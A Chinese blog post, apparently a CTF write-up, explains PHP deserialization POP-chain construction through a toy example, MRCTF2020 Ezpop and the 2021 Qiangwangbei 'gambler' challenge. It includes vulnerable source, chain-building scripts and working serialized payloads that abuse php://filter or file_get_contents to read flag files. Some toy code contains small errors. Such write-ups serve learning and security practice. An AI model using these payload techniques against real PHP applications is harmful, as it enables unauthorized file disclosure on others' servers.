侧边栏

2021强网杯-赌徒-pop链的构造

知识点

pop链的构造

前言

第一次在比赛里做出题!!!好激动哈哈哈

[赌徒]是现学现做的一道php反序列化web题,之前对反序列化漏洞的了解只停留在绕过__wakeup魔法方法,和群里的大佬交流发现原来pwn也有。

于是仔细一想,pop是弹栈的意思,程序调用函数前,它会现将函数所要用到的参数值以逆序的方式压入栈中,而我们要做的就是逆着这个方向按着一条链一个个弹栈,是不是就是叫pop链的原因?

引入

先上一个例子,我们想根据这些参数控制A类funa方法的echo,怎么做?

<?php
class A {
	public $a;
	public function funa($a1){
		echo $a1;
	}
}

class B {
	public $b;
	public function funb($b1){
		$this->$b->funa($b1);
	}
}

class C {
	public $c;
	public function func($c1){
		$this->$c->funb($c1);
	}
}

highlight_file(__FILE__);
$pop = $_GET['pop'];
$argv = $_GET['argv'];
$class = unserialize($pop);
$class->func($argv);

?>

可以看到,我们控制pop参数,这应该是个实例化的C类,因为只有C 类下有func()方法。

$pop=new C;

C类里的属性c,应该是个实例化的B类,这样$this->$c->funb($c1);就相当于调用B类的funb()函数。

$pop->$c=new B;

以此类推,B类里的属性b,应该是个实例化的A类,这样$this->$b->funa($b1);就相当于调用A类的funa()函数,就能达到我们的目的啦!

$pop->$c->$b = new A;

试着输出一下123455

$pop->$c->$b->funa(123455);

合在一起,进行序列化

<?php
class A {
	public $a;
	public function funa($a1){
        echo $a1;
	}
}

class B {
	public $b;
	public function funb($b1){
		$this->$b->funa($b1);
	}
}

class C {
	public $c;
	public function func($c1){
		$this->$c->funb($c1);
	}
}

$pop=new C;
$pop->$c=new B;
$pop->$c->$b = new A;
$pop->$c->$b->funa(123455);

echo serialize($pop);

?>

O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}

很明显这个argv参数里是我们要输出的内容,最终payload为

?pop=O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}&argv=123

[MRCTF2020]Ezpop

在一定的条件下魔术方法可以不被调用直接触发,这种触发形式层层相扣,在魔术方法中触发另一个类的魔术方法,这便形成了POP链。

先记下魔术方法

__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

然后上题目

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

  • 当用get方法传一个pop参数后,会因为unserialize()自动调用Show类的__wakeup()魔术方法。
  • 由于__wakeup()通过preg_match()将$this->source做字符串比较,现在如果$this->source是一个Show类,就会调用__toString()方法;
  • 如果__toString()其中str属性被赋值为一个实例化的Test类,那么因为其类不含有source属性,所以会调用Test中的__get()方法。
  • 如果__get()中的p赋值为实例化的Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的__invoke()方法。
  • 最后利用文件包含漏洞,读取flag.php的内容。

捋一下逻辑

Modifier::__invoke() <- Test::__get() <- Show::__toString() <- Show::__wakeup()

所以来构建payload,这里注意由于有$this要记得在实例化类的时候加括号。

还要注意一下

本地测试的时候要有些修改,一是文件包含漏洞,用php伪协议来读flag.php,二是用tostring()返回一个有效的字符串就行。

Welcome to index.php
<?php
//error_reporting(1);
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
;
    public function append($value){
        //include($value);
        echo $value;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        $this->str->source;
        return "Ginger";
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

// if(isset($_GET['pop'])){
//     @unserialize($_GET['pop']);
// }
// else{
//     $a=new Show;
//     highlight_file(__FILE__);
// }

//$pop = new Show($a);这里要先把$a先弄完整所以pop放最后
$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$pop = new Show($a);
echo serialize($pop);

解 码

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:3:"aaa";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

最后需要进行url编码,真神奇......

payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

题解2021强网杯 [强网先锋]赌徒

遇事不决dirsearch一把梭

扫到了www.zip文件,下载,看index.php源码

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

和MRCTF那道题很像

捋一下思路

unserialize() -> Start::__wakeup -> Start::_sayhello()

如果name是个实例化的Info类,就会触发__construct()

Start::_sayhello() -> Info::__construct()

如果promise是个实例化的Info类,就会触发__toString()

Info::__construct() -> Info::__toString()

如果file['filename']是个实例化的Room类,就会触发Room的__get()

Info::__toString() -> Room::__get()

如果a是个实例化的Room类,就会触发Room的__invoke()

Room::__get() -> Room::__invoke() -> Get_hint($file)

就会得到base64加密的flag

于是开始构建

<?php
include "index.php";
$a = new Start();
$a->name = new Info();
$a->name->file["filename"] = new Room();
$a->name->file["filename"]->a= new Room();
echo "<br>";
echo serialize($a);
?>

得到payload(注意Info类有个private属性)

?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

总结

感觉构造pop链更像是在顺着逻辑逆着找起点(虽然题里给的一般是顺着到底可以找出来的),虽然和绕过__wakeup魔法方法都属于反序列化攻击,但是像一种逻辑漏洞。

不管怎样,庆祝一下自己第一次在比赛里做出题来!人生中的一血啊哈哈哈!!!

PS:触发魔术方法,我们需要这个类在内存中的对象值。而像数组、对象这种复杂数据结构在非内存使用的情况下通常是以序列化形式存在。当进程调用时在还原成原来的形式调入内存,这就是反序列化。

参考

[MRCTF2020]Ezpop—序列化pop链

posted @ 2021-06-15 18:52  探针一号  阅读(550)  评论(0编辑  收藏  举报